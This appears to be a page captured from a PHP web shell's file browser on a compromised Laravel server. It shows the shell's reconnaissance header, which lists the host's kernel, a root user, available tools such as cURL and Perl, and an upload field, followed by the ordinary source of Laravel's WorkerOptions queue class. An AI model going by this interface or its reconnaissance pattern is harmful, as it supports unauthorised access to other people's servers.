Server IP : / Your IP : 10.244.4.16 [ Web Server : nginx/1.25.3 System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.2.13 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/789/cwd/app/vendor/laravel/framework/src/Illuminate/Queue/ |
Upload File : |
<?php namespace Illuminate\Queue; class WorkerOptions { /** * The name of the worker. * * @var int */ public $name; /** * The number of seconds to wait before retrying a job that encountered an uncaught exception. * * @var int|int[] */ public $backoff; /** * The maximum amount of RAM the worker may consume. * * @var int */ public $memory; /** * The maximum number of seconds a child worker may run. * * @var int */ public $timeout; /** * The number of seconds to wait in between polling the queue. * * @var int */ public $sleep; /** * The number of seconds to rest between jobs. * * @var int */ public $rest; /** * The maximum number of times a job may be attempted. * * @var int */ public $maxTries; /** * Indicates if the worker should run in maintenance mode. * * @var bool */ public $force; /** * Indicates if the worker should stop when the queue is empty. * * @var bool */ public $stopWhenEmpty; /** * The maximum number of jobs to run. * * @var int */ public $maxJobs; /** * The maximum number of seconds a worker may live. * * @var int */ public $maxTime; /** * Create a new worker options instance. * * @param string $name * @param int|int[] $backoff * @param int $memory * @param int $timeout * @param int $sleep * @param int $maxTries * @param bool $force * @param bool $stopWhenEmpty * @param int $maxJobs * @param int $maxTime * @param int $rest * @return void */ public function __construct($name = 'default', $backoff = 0, $memory = 128, $timeout = 60, $sleep = 3, $maxTries = 1, $force = false, $stopWhenEmpty = false, $maxJobs = 0, $maxTime = 0, $rest = 0) { $this->name = $name; $this->backoff = $backoff; $this->sleep = $sleep; $this->rest = $rest; $this->force = $force; $this->memory = $memory; $this->timeout = $timeout; $this->maxTries = $maxTries; $this->stopWhenEmpty = $stopWhenEmpty; $this->maxJobs = $maxJobs; $this->maxTime = $maxTime; } }